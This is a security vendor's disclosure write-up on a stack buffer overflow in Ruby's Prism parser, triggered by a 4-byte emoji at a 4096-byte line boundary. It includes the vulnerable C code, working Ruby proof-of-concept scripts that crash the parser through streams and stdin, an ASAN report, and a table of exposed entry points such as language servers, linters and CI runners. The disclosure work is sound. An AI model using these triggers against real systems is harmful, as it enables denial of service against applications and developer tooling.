One Emoji Is Enough to Crash Ruby
A single 4-byte emoji overflows a fixed stack buffer in Prism, Ruby's default parser since 3.4. What breaks, why the safety check causes it, and the fix.
A single emoji, placed in the right spot inside a Ruby source file or input stream, can overflow a fixed buffer in Ruby’s default parser and crash the program. Cantina’s research team used Apex, our agentic OffSec engineer, to find it, confirm it, and report it to the Ruby maintainers. The technically interesting part is that the crash comes from a safety feature: the behavior that keeps multibyte characters from breaking is exactly what tips the buffer over the edge. The issue has been patched by the Ruby team here.
The Prism Parser and Its Stream Interface
Every Ruby program passes through three stages before it runs. First, the source text is parsed into a concrete syntax tree. Second, that tree is compiled to YARV bytecode, the instruction set consumed by the Ruby virtual machine. Third, the VM interprets those bytecodes one by one, allocating objects and calling methods. Prism owns the first stage.
Prism became Ruby’s default parser starting with Ruby 3.4. It replaced the hand-written LALR(1) parser that had shipped with Ruby since 1993, with a goal of being embeddable, re-entrant, and usable as a library outside the Ruby runtime itself. The parser is written in portable C and lives in prism/prism.c, with a Ruby C extension binding in prism/extension.c. Because Prism runs before the VM, any crash inside it happens before a single line of the input program executes. Input validation code that calls the parser to check the source before running it is itself part of the attack surface.
Ruby source can reach Prism through three distinct entry points. The file path passes a filename; Prism memory-maps or reads the file to a contiguous buffer. The string path takes a Ruby String object and reads its bytes directly. The stream path accepts any Ruby object that responds to gets, making it suitable for parsing from pipes, network sockets, StringIO objects, and any custom IO-like class. IDE language servers and lint tools typically use the stream path when processing files that are open in an editor but not yet saved to disk.
The Stream Reader Contract
The stream path is implemented as a read loop in pm_parse_stream (prism.c). The loop calls a user-supplied read function repeatedly until it returns a zero-length string, assembling lines into an internal pm_string_t buffer. In the Ruby extension, that read function is pm_parse_stream_read, which calls stream.gets(size-1) on the Ruby IO object and copies the result into a fixed stack buffer before handing it to the parser.
The 4096-byte line buffer has been present since Prism’s initial merge. The constant LINE_SIZE is defined at the top of extension.c and is also used in a second call site, pm_parse_stdin_fgets, which reads source from standard input when Ruby is invoked as ruby < script.rb.

Data flow: a Ruby IO object passes through the Prism stream bridge into a fixed 4096-byte stack buffer in the C parser.
UTF-8 and Ruby’s IO#gets(limit) Contract
Ruby’s IO#gets(limit) is specified to return at least limit bytes when a full line is not yet found. The edge case is multibyte characters. If the byte at position limit is in the interior of a multibyte UTF-8 codepoint, Ruby extends the read by up to 16 additional bytes, one at a time, until the final codepoint is complete. This behavior is documented and intentional: splitting a multibyte codepoint at an arbitrary byte boundary would produce an invalid UTF-8 string, which would break downstream string operations.
The extension logic lives in rb_io_getline_0 in io.c. The relevant section is the extra_limit loop, which fires when the last byte of the returned string is a leading UTF-8 byte (values 0xC0 to 0xFF) or an incomplete continuation byte sequence.

U+1F600 (GRINNING FACE) encodes as F0 9F 98 80. When its leading byte lands at offset 4094, gets(4095) extends the read by three bytes to finish the codepoint, returning 4098 bytes total.
The Vulnerability
High · Stack buffer overflow · pm_parse_stream_read · prism/extension.c · Ruby 3.4.0 to 3.4.9, Ruby 4.0.x
pm_parse_stream_read allocates a 4096-byte stack buffer named line, then calls stream.gets(size-1), which resolves to gets(4095), and copies the result into the buffer with memcpy followed by a NUL terminator.
There is no length check between RSTRING_LEN(result) and LINE_SIZE. For a 4-byte UTF-8 codepoint starting at byte offset 4094, gets(4095) returns 4098 bytes. The memcpy writes 4098 bytes into a 4096-byte buffer, overflowing by 2 bytes, and the NUL write overflows by 3.
#define LINE_SIZE 4096
static void
pm_parse_stream_read(pm_string_t *string, void *fifo, size_t size) {
char line[LINE_SIZE]; // fixed 4096-byte stack buffer
VALUE result = rb_funcall(
((pm_parse_stream_t *)fifo)->stream,
rb_intern("gets"), 1, INT2NUM(size - 1)); // gets(4095)
if (NIL_P(result)) {
pm_string_constant_init(string, "", 0);
return;
}
size_t length = RSTRING_LEN(result); // 4098 for our payload
memcpy(line, RSTRING_PTR(result), length); // OVERFLOW: writes line[4096..4097]
line[length] = '\0'; // OVERFLOW+1: writes line[4098]
pm_string_owned_init(string, (uint8_t *)line, length);
}
Three consecutive lines each assume the return value fits within LINE_SIZE. The fixed stack buffer, the unchecked gets call, and the unchecked memcpy form the overflow path.
![Stack frame diagram showing two emoji bytes and a trailing NUL spilling past line[4095] into the stack guard region](/_astro/ruby-prism-stack.BswNlZ-O_1SKE27.webp)
The stack frame at the moment of overflow. The tail bytes 98 80 and the trailing NUL are written above line[4095], past the 4096-byte buffer and into the stack guard region, which aborts the process.
Why a 4-Byte Emoji Triggers the Extension
UTF-8 encodes code points above U+07FF using multi-byte sequences. U+1F600 (GRINNING FACE) encodes as the four bytes F0 9F 98 80. The leading byte F0 signals a 4-byte sequence; the continuation bytes 9F 98 80 each have the high bits 10xxxxxx.
When gets(4095) fills its buffer up to byte 4094, the next byte it reads is F0, the leading byte of a 4-byte UTF-8 codepoint that is not yet complete. Ruby’s extra_limit loop reads one additional byte at a time, up to 16 retries, until the sequence is complete. For a 4-byte codepoint, three additional bytes are consumed, returning a 4098-byte string.
| Offset | Byte | Role | In result? | Note |
|---|---|---|---|---|
| 0 to 4093 | 61…61 | ASCII ‘a’ fill | Yes (nominal) | |
| 4094 | F0 | UTF-8 leading byte, 4-byte seq | Yes | triggers extension loop |
| 4095 | 9F | Continuation byte 1 | Yes, ext +1 | last byte within buffer |
| 4096 | 98 | Continuation byte 2 | Yes, ext +2 | writes line[4096], overflow |
| 4097 | 80 | Continuation byte 3 | Yes, ext +3 | writes line[4097], overflow |
| 4098 | 00 | NUL by C code | Written by C | line[4098] = NUL byte, overflow +1 |
Proof of Concept
Run the script on any Ruby 3.4.x or 4.0.x binary compiled with Prism. With stack protection enabled (the default on Linux), the process exits 134 (SIGABRT) immediately after the NUL write trips the SSP canary check. Under ASAN the overflow is caught two bytes earlier, at the memcpy.
#!/usr/bin/env ruby
require 'prism'
require 'stringio'
LINE_SIZE = 4096
ASCII_COUNT = 4094
EMOJI = "\xF0\x9F\x98\x80" # U+1F600, bytes: F0 9F 98 80
# Craft the payload: 4094 ASCII bytes + 4-byte emoji = 4098 bytes total.
# Encoding dance: build as binary, force to UTF-8 so Prism parses it.
payload = ("a" * ASCII_COUNT + EMOJI.b).b.force_encoding("UTF-8")
puts "payload.bytesize = #{payload.bytesize}"
puts "overflow bytes = #{payload.bytesize - LINE_SIZE} controlled + 1 NUL"
# Write the trigger file for the stdin variant.
File.binwrite("/tmp/trigger.rb", payload.b)
# Demonstrate that StringIO#gets(4095) really does extend past the limit.
io = StringIO.new(payload)
line = io.gets(LINE_SIZE - 1)
puts "gets(#{LINE_SIZE - 1}) returned #{line.bytesize} bytes " \
"(extended: #{line.bytesize > LINE_SIZE - 1})"
# Show that positioning the emoji so it fits entirely within 4095 bytes is safe.
safe = ("a" * 4091 + EMOJI.b).b.force_encoding("UTF-8")
sl = StringIO.new(safe).gets(LINE_SIZE - 1)
puts "safe gets returned #{sl.bytesize} bytes (overflow: #{[sl.bytesize - LINE_SIZE, 0].max})"
puts "triggering..."
$stdout.flush
# CRASH: memcpy writes 4098 bytes into char line[4096]
Prism.parse_stream(StringIO.new(payload))
puts "returned (unexpected, no crash)"
Expected Output (Linux, SSP enabled)
$ ruby trigger.rb
payload.bytesize = 4098
overflow bytes = 2 controlled + 1 NUL
gets(4095) returned 4098 bytes (extended: true)
safe gets returned 4095 bytes (overflow: 0)
triggering...
*** stack smashing detected ***: terminated
Aborted (core dumped) # exit 134
File-IO Variant
The same payload reaches pm_parse_stream_read through the stdin entry point. The trigger file is written by the reproducer above.
#!/usr/bin/env ruby
# File-IO variant: feed the trigger file through stdin
# ruby < /tmp/trigger.rb
#
# Generates the trigger file then re-execs Ruby on it:
require 'prism'
LINE_SIZE = 4096
payload = ("a" * 4094 + "\xF0\x9F\x98\x80".b).b
File.binwrite("/tmp/trigger.rb", payload)
puts "Wrote /tmp/trigger.rb (#{payload.bytesize} bytes)"
puts "Run: ruby < /tmp/trigger.rb"
$ ruby gen_trigger.rb && ruby < /tmp/trigger.rb
Wrote /tmp/trigger.rb (4098 bytes)
*** stack smashing detected ***: terminated
ASAN Report
Compiled with -fsanitize=address -fno-stack-protector -O1 to suppress SSP and let ASAN report the exact overflow site and size.
==7==ERROR: AddressSanitizer: stack-buffer-overflow on address 0xffffc3d2d1e0
at pc 0xb2899ed83b14 bp 0xffffc3d2c050 sp 0xffffc3d2b828
WRITE of size 4098 at 0xffffc3d2d1e0 thread T0
#0 0xb2899ed83b10 in memcpy
#1 0xb2899f32a2e4 in parse_stream_fgets prism/extension.c:1020
#2 0xb2899f34d8e8 in pm_parse_stream_read prism/prism.c:22984
#3 0xb2899f3c0a04 in pm_parse_stream prism/prism.c:23060
#4 0xb2899f3299ac in parse_stream prism/extension.c:1045
Address 0xffffc3d2d1e0 is located in stack of thread T0 at offset 4128 in frame
#0 0xb2899f34d7c0 in pm_parse_stream_read prism/prism.c:22980
This frame has 1 object(s):
[32, 4128) 'line' (line 22982) <== Memory access at offset 4128 overflows this variable
SUMMARY: AddressSanitizer: stack-buffer-overflow in memcpy
Attack Surface
The overflow fires in the parser itself, before any Ruby code in the target file is executed and before any validation on the parsed AST runs. Applications that call the parser to validate or inspect user-supplied source before evaluating it are exposed.
| Entry Point | Vulnerable API | Typical Caller |
|---|---|---|
| Direct stream | Prism.parse_stream(io) |
Custom lint/analysis tools |
| Stdin | ruby < attacker_file |
pm_parse_stdin_fgets, same buffer size |
| Instruction sequence | RubyVM::InstructionSequence.compile(src, file_obj) |
JIT compilers, code loaders |
| IDE language server | Ruby LSP and Solargraph, both parse open files | Triggered by opening a crafted file in VS Code |
| Linters / formatters | RuboCop with Prism backend | rubocop attacker_file.rb |
| CI test runners | Minitest / RSpec compile test files before execution | A malicious test file in a pull request |
Affected Versions
| Version | Status | Prism default |
|---|---|---|
| Ruby 3.4.0 to 3.4.9 | Vulnerable | Yes |
| Ruby 4.0.x | Vulnerable | Yes |
| Ruby 3.3.x | Vulnerable (opt-in) | No, requires --parser=prism |
| Ruby ≤ 3.2.x | Not affected | Prism not available |
Validated on: ruby 3.4.9 (2026-03-11 revision 76cca827ab) +PRISM [aarch64-linux].
About Cantina
Cantina (cantina.security) is an agentic security operating system that delivers staff-level security work at scale, so lean teams get the capacity of a team many times their size. It finds the issues that matter, prioritizes them, remediates them correctly, and proves the loop is closed across both code and runtime.
Apex is the offensive security and research engineer behind Cantina. The same capability that found this overflow in Ruby’s default parser runs against customer code every day. It forms hypotheses about trust boundaries, tests them end to end, and hands engineers a validated finding instead of a queue of maybe-bugs, with the Cantina research team revalidating every result before it reaches you.
Earlier Apex disclosures have included a critical RCE in Spring AI, a privilege escalation in Spring Security, a race condition in Ruby core, 13-year-old bugs in WebKit, a privilege escalation in Anthropic’s Claude Code, and 44-year-old bugs in OpenSSH. This post covers a stack buffer overflow in Ruby’s Prism parser that fires during streaming source reads of UTF-8 content containing multibyte codepoints near a 4096-byte line boundary.
Prism is the default parser in current Ruby, so it sits in the critical path of a large share of the web’s Ruby applications. A crash that fires before a single line of the target program runs is exactly the kind of deep, pre-execution flaw that periodic audits tend to miss. Finding it took one focused pass. Closing the gaps it represents takes a security loop that runs as continuously as your software ships.
Book a demo to see what Apex finds in your codebase.